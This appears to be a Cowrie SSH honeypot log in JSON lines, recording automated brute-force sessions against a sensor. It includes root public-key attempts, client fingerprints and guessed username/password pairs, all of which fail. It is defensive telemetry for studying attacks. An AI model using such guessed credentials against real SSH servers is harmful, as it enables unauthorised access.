{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:ce:f5:6d:8d:4f:ad:38:29:c5:db:ff:c7:b8:cb:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEh7kl0S19CEBQyzgUeI4ndSc8Z+tXOPp4B7vCmUo7G/A8xMELTspCQKC/SCnWXpzJ1ABWHsnKhdwgH51IBEXqyLvcDq2DMdELSEZ7uRKehF2t3ydfzHBUHk+qS6/CIo+k9h4h+mJFwQktz8cT3SDajF1YNvLCRMrZWvTGZD04QgypDJaGA1VwlOX8gv5hb86FB2Ts6JmP7/eVX9lZwQwUi21XeeWg9476I5HNnWFKMTQTUpAgMi4+iPFGS2NH5jIxOHgFt73WlpGPc57FDc2ASYQcFjJM39LZdXJ8lcBmgWA2U7JygD+8xLKievJsMSjwOPoy1uUrAfgYFTdiU8ez","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:ce:f5:6d:8d:4f:ad:38:29:c5:db:ff:c7:b8:cb:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:23.005133Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:ce:f5:6d:8d:4f:ad:38:29:c5:db:ff:c7:b8:cb:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEh7kl0S19CEBQyzgUeI4ndSc8Z+tXOPp4B7vCmUo7G/A8xMELTspCQKC/SCnWXpzJ1ABWHsnKhdwgH51IBEXqyLvcDq2DMdELSEZ7uRKehF2t3ydfzHBUHk+qS6/CIo+k9h4h+mJFwQktz8cT3SDajF1YNvLCRMrZWvTGZD04QgypDJaGA1VwlOX8gv5hb86FB2Ts6JmP7/eVX9lZwQwUi21XeeWg9476I5HNnWFKMTQTUpAgMi4+iPFGS2NH5jIxOHgFt73WlpGPc57FDc2ASYQcFjJM39LZdXJ8lcBmgWA2U7JygD+8xLKievJsMSjwOPoy1uUrAfgYFTdiU8ez","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:23.010309Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:1f:ec:90:3f:9d:17:a0:e2:a5:5c:6a:38:5c:da:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOz7N4cZ+OeQF9z8W4+2l26++r4S8qWq2SnQSW6JMkl4C6MK8FgcAmqTAIYVtCIhzrgQjFqWLXXHNV0YOeEg5nqKBd22lEpzaskd3QGezvmTFvOBEcPvuE8wKcgqIViMY0U60enui+dE3awlWis4Q4BjTgn70gjr2F0CZNR20xb3wDr3+JeQR4dFe2rmnYCqnaQq3mxHLFGKzJW6jPBX9WfXO5cVHgs6J4QV7d0GmLE+rjeQZ4IMwIUM3HIOkmxdIuFkO6Ew7JIcUSji7HIkeciTQ3HSYz/sORr4sHSYMQQuU3JPQWqdtxuypFOYPl64+2OZ3baFgEA4MZg4C/VjO3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:1f:ec:90:3f:9d:17:a0:e2:a5:5c:6a:38:5c:da:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:23.124672Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:1f:ec:90:3f:9d:17:a0:e2:a5:5c:6a:38:5c:da:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOz7N4cZ+OeQF9z8W4+2l26++r4S8qWq2SnQSW6JMkl4C6MK8FgcAmqTAIYVtCIhzrgQjFqWLXXHNV0YOeEg5nqKBd22lEpzaskd3QGezvmTFvOBEcPvuE8wKcgqIViMY0U60enui+dE3awlWis4Q4BjTgn70gjr2F0CZNR20xb3wDr3+JeQR4dFe2rmnYCqnaQq3mxHLFGKzJW6jPBX9WfXO5cVHgs6J4QV7d0GmLE+rjeQZ4IMwIUM3HIOkmxdIuFkO6Ew7JIcUSji7HIkeciTQ3HSYz/sORr4sHSYMQQuU3JPQWqdtxuypFOYPl64+2OZ3baFgEA4MZg4C/VjO3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:23.129305Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:88:0f:fe:d9:8c:14:91:38:81:38:29:a4:b6:eb:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHEp6KhoQvrgH00f4Kmfxy0DsSbIXhUwV2Kj5A12F0ho1iZ6Jiax7Fz5zwMfXMTiptveKpFEQhtliGlqYZhpiEm5NaKqeJoHZuRKINZh5gdqz2fzgGgTvoMWFOciJr5UgqJH5k6JbPxCkm3WrVqHJU75q82aXRHjz0Ll6kXYSzN1KoCq7OqkIUNgPRanjKnLQW1OTuEkFt0U5DM06KtpqKk4pOtOccoy3SiGIZ2f4tzt74gHRYnc7Gm006t/wHemy8Ui9Kqt6X6qII+KbJrZ+KXSN4L3bxP5wSuJqN5rIzXo2bEbyixd1XUwK2YkF+Gr3LK3lex0k6WPl6mT0SHbe9rC0GruGvKDsfEX6HmmftFSvNkNhjiIzfQmHvsxinTyj6aI+U92/92dL0ddLAEKueZOWH2whffucUW7TTdXc2KhEmZ94irPOJ4m6gkfovk/p1HxuqshkiuKYZrueWTaKT/A731LmPmxQNqV8PYr9RMcomRBEnIdYizCaI8/YEL65iHPsHYMEOlZai5zwUVL4vbLel0eBd2MLZNKj/JdfJimiKRSfWx48aycvvA8KaGOtmOKNFgHLu/IwNmhlEuudGXBamkfFg9l89ZVjVZaEgsk4/hb3vAc7Ml5Ksku74Bu6fCUblDCUOhkCrfOUftT9YBvJvt9ji0D350TTTYPue2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:88:0f:fe:d9:8c:14:91:38:81:38:29:a4:b6:eb:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:23.239969Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:88:0f:fe:d9:8c:14:91:38:81:38:29:a4:b6:eb:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHEp6KhoQvrgH00f4Kmfxy0DsSbIXhUwV2Kj5A12F0ho1iZ6Jiax7Fz5zwMfXMTiptveKpFEQhtliGlqYZhpiEm5NaKqeJoHZuRKINZh5gdqz2fzgGgTvoMWFOciJr5UgqJH5k6JbPxCkm3WrVqHJU75q82aXRHjz0Ll6kXYSzN1KoCq7OqkIUNgPRanjKnLQW1OTuEkFt0U5DM06KtpqKk4pOtOccoy3SiGIZ2f4tzt74gHRYnc7Gm006t/wHemy8Ui9Kqt6X6qII+KbJrZ+KXSN4L3bxP5wSuJqN5rIzXo2bEbyixd1XUwK2YkF+Gr3LK3lex0k6WPl6mT0SHbe9rC0GruGvKDsfEX6HmmftFSvNkNhjiIzfQmHvsxinTyj6aI+U92/92dL0ddLAEKueZOWH2whffucUW7TTdXc2KhEmZ94irPOJ4m6gkfovk/p1HxuqshkiuKYZrueWTaKT/A731LmPmxQNqV8PYr9RMcomRBEnIdYizCaI8/YEL65iHPsHYMEOlZai5zwUVL4vbLel0eBd2MLZNKj/JdfJimiKRSfWx48aycvvA8KaGOtmOKNFgHLu/IwNmhlEuudGXBamkfFg9l89ZVjVZaEgsk4/hb3vAc7Ml5Ksku74Bu6fCUblDCUOhkCrfOUftT9YBvJvt9ji0D350TTTYPue2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:23.244308Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:46:99:52:60:27:ac:97:fb:99:3b:bd:00:8e:e2:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwT/6+tF00KBYXrCCmWgzxYrlqi2TCBD+TJr+AfidB4McAetJb2VmqE7Pw2CTn5W8h4MumzNLvouBweH0jBepPBIPJ2gBliYKXbLedNVnAULik6A0up+VzUidGqy4wkMVrUZjwm6H+Ps67LVak86fwpVNNtP8JQFa3v5Zu+RmdplsQUqEXGk0zASx3sZb5YmOLK+CjS2Qi6CXfXfqYx++Lar3Rjn5rTgTAZXv7WbRypIrLEIzz83OM/RdK+2Mu1sFYBjp1QX4FAm7uo0WeEVsF+65xRb3v8nb2qcDW8Ke+l3VUIBn2RofCKvYvFpOOeICgXUSpfvpSQsNVravLv8VrQS+ES/z0DBcq75wwQvUKm4yeq3ldCvUSk2JC0j3MqfnWy+Yb77U00npwgIxr3haqNHK1whdRhoUuKjso1D9MEx37NL65jTxonteK48os5gumgpCOP0eQGGou/9hjoirXzikGeLRJc76Af3x6dg+pXm5kEFRuR+Jco/q51eRRwPfXnFs0aFiCEn4DnHvTK8kd+vpFb3grZdLv3tvYc3KyprZwrstStV0YxYToAVPlGR0F8Ln0FP0ZezkU1hybDFKxwKjV+72x70QBI0h4grlgcHXOFi7JTosK6v7rS9seI48RB3Roc6I/PPji3M9Su7gwY5b3NLgb4OKel/Q3wgwhhw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:46:99:52:60:27:ac:97:fb:99:3b:bd:00:8e:e2:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:23.355024Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:46:99:52:60:27:ac:97:fb:99:3b:bd:00:8e:e2:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwT/6+tF00KBYXrCCmWgzxYrlqi2TCBD+TJr+AfidB4McAetJb2VmqE7Pw2CTn5W8h4MumzNLvouBweH0jBepPBIPJ2gBliYKXbLedNVnAULik6A0up+VzUidGqy4wkMVrUZjwm6H+Ps67LVak86fwpVNNtP8JQFa3v5Zu+RmdplsQUqEXGk0zASx3sZb5YmOLK+CjS2Qi6CXfXfqYx++Lar3Rjn5rTgTAZXv7WbRypIrLEIzz83OM/RdK+2Mu1sFYBjp1QX4FAm7uo0WeEVsF+65xRb3v8nb2qcDW8Ke+l3VUIBn2RofCKvYvFpOOeICgXUSpfvpSQsNVravLv8VrQS+ES/z0DBcq75wwQvUKm4yeq3ldCvUSk2JC0j3MqfnWy+Yb77U00npwgIxr3haqNHK1whdRhoUuKjso1D9MEx37NL65jTxonteK48os5gumgpCOP0eQGGou/9hjoirXzikGeLRJc76Af3x6dg+pXm5kEFRuR+Jco/q51eRRwPfXnFs0aFiCEn4DnHvTK8kd+vpFb3grZdLv3tvYc3KyprZwrstStV0YxYToAVPlGR0F8Ln0FP0ZezkU1hybDFKxwKjV+72x70QBI0h4grlgcHXOFi7JTosK6v7rS9seI48RB3Roc6I/PPji3M9Su7gwY5b3NLgb4OKel/Q3wgwhhw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:23.358920Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:8e:a6:02:14:92:ae:98:bc:46:d0:76:74:77:ea:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8IgIHOOEfmROmUYjiTHaEhJhSE51q+mlZ5xO4nKa5EZeJVcucJ9aRZUPNgn7I6CxvyvpzvUoD3zia56WgMgVS4flu3iZgRN1QJScqaP8G2B8nWUxZGBFYwKq/AQ3TdhDPK8yORHJvtd42XodlmMxhS+tORvoF+aAPvqvJlv8Q8DzquAdCSUZIaAG/xUzBcWm8fv5wsCf80eWd65xMAubqfSNUNnl6M4MwmL7+F0f5EWLxvEfbASoL6/TbjW+zl9KHAIfOdbjRyR57xu/U3GVCbJy7VUxozzwViE7VLy9jODRcz9V5QQxg7VQf3OVbK/nh4XXOpFY75ntecRwll13rb6I2nA6pSZ4ENuyoU5ebgyujiO+T3/maNfwyYXuVosHDR/IwspdDnRyfbZqAyt4s18guk2gqqMvlGNhvJBJYbJvyIjU4fYQHzTVr9lOkZV2ns3/yPbFa62RQzHbrM7kV8smWPS6px9eLIU8h4Ek/MV86QMR/W/iFW9exGagcdS9gyuPilUVd3TgqPqomnZIg4wWmHxJIPPDv7wsHmtGX+C1QfqipM0HQ8kziu9whfPR+TTZW1aEtintywtbB1pkqpClWLlc7D+yjVxFRdBmACqjt/cZ+VJiyKa5Yq13zhACjJ10He00yYeVuR47pm56bmtbX3uFqpbgj8j39U/NHGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:8e:a6:02:14:92:ae:98:bc:46:d0:76:74:77:ea:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:23.469117Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:8e:a6:02:14:92:ae:98:bc:46:d0:76:74:77:ea:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8IgIHOOEfmROmUYjiTHaEhJhSE51q+mlZ5xO4nKa5EZeJVcucJ9aRZUPNgn7I6CxvyvpzvUoD3zia56WgMgVS4flu3iZgRN1QJScqaP8G2B8nWUxZGBFYwKq/AQ3TdhDPK8yORHJvtd42XodlmMxhS+tORvoF+aAPvqvJlv8Q8DzquAdCSUZIaAG/xUzBcWm8fv5wsCf80eWd65xMAubqfSNUNnl6M4MwmL7+F0f5EWLxvEfbASoL6/TbjW+zl9KHAIfOdbjRyR57xu/U3GVCbJy7VUxozzwViE7VLy9jODRcz9V5QQxg7VQf3OVbK/nh4XXOpFY75ntecRwll13rb6I2nA6pSZ4ENuyoU5ebgyujiO+T3/maNfwyYXuVosHDR/IwspdDnRyfbZqAyt4s18guk2gqqMvlGNhvJBJYbJvyIjU4fYQHzTVr9lOkZV2ns3/yPbFa62RQzHbrM7kV8smWPS6px9eLIU8h4Ek/MV86QMR/W/iFW9exGagcdS9gyuPilUVd3TgqPqomnZIg4wWmHxJIPPDv7wsHmtGX+C1QfqipM0HQ8kziu9whfPR+TTZW1aEtintywtbB1pkqpClWLlc7D+yjVxFRdBmACqjt/cZ+VJiyKa5Yq13zhACjJ10He00yYeVuR47pm56bmtbX3uFqpbgj8j39U/NHGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:23.472723Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:23.585981Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":57018,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb8afdef37ae","protocol":"ssh","message":"New connection: 165.154.205.91:57018 (159.203.135.109:22) [session: cb8afdef37ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:01:07.725229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:01:07.729689Z","src_ip":"165.154.205.91","session":"cb8afdef37ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:01:07.954834Z","src_ip":"165.154.205.91","session":"cb8afdef37ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdtdserver","password":"123456","message":"login attempt [sdtdserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:01:08.888863Z","src_ip":"165.154.205.91","session":"cb8afdef37ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:01:10.120235Z","src_ip":"165.154.205.91","session":"cb8afdef37ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":45448,"dst_ip":"159.203.135.109","dst_port":22,"session":"c85fbd277e3e","protocol":"ssh","message":"New connection: 165.154.205.91:45448 (159.203.135.109:22) [session: c85fbd277e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:13.725318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:13.731096Z","src_ip":"165.154.205.91","session":"c85fbd277e3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:13.959773Z","src_ip":"165.154.205.91","session":"c85fbd277e3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"bobbi","message":"login attempt [admin/bobbi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:14.906148Z","src_ip":"165.154.205.91","session":"c85fbd277e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:16.137966Z","src_ip":"165.154.205.91","session":"c85fbd277e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.225.106","src_port":34904,"dst_ip":"10.17.0.5","dst_port":22,"session":"11dcc85bf7b7","protocol":"ssh","message":"New connection: 172.245.225.106:34904 (10.17.0.5:22) [session: 11dcc85bf7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.121022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.127117Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.170337Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:46:be:9c:8d:84:ec:6a:49:7f:47:03:58:72:99:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2HicksxUZv8dYFPkfyMJZjOgJJ5TS56nDG/cFX6Oubn6OFwdb9c4Yya/ms1YBcwAeOyN/TYH27bW/D5CtV38i95I9GFaPrKePmO5k58jIxQK5K9SF+ZwKYxIsQGm86hh/IB8eYfYDVsAf3/8B70zxy69Qx+1dM3eKplOD7cr0CMLXoJBntUuegDQKNURZHkvhZeOIp+GlVy/B0VHwqf3bSYMzKVFA4evbziyWF/51PLdaMldr2vFjWtzEYtXTtZaGJI9w4QOVcp8UTADXD4uxo5AfWArz9XzvXS0JJZSEQ4yLImxRSBP0+TtJX5sThyATzyrNfZLNKESrqJR/aS49","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:46:be:9c:8d:84:ec:6a:49:7f:47:03:58:72:99:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.361261Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:46:be:9c:8d:84:ec:6a:49:7f:47:03:58:72:99:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2HicksxUZv8dYFPkfyMJZjOgJJ5TS56nDG/cFX6Oubn6OFwdb9c4Yya/ms1YBcwAeOyN/TYH27bW/D5CtV38i95I9GFaPrKePmO5k58jIxQK5K9SF+ZwKYxIsQGm86hh/IB8eYfYDVsAf3/8B70zxy69Qx+1dM3eKplOD7cr0CMLXoJBntUuegDQKNURZHkvhZeOIp+GlVy/B0VHwqf3bSYMzKVFA4evbziyWF/51PLdaMldr2vFjWtzEYtXTtZaGJI9w4QOVcp8UTADXD4uxo5AfWArz9XzvXS0JJZSEQ4yLImxRSBP0+TtJX5sThyATzyrNfZLNKESrqJR/aS49","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.364786Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
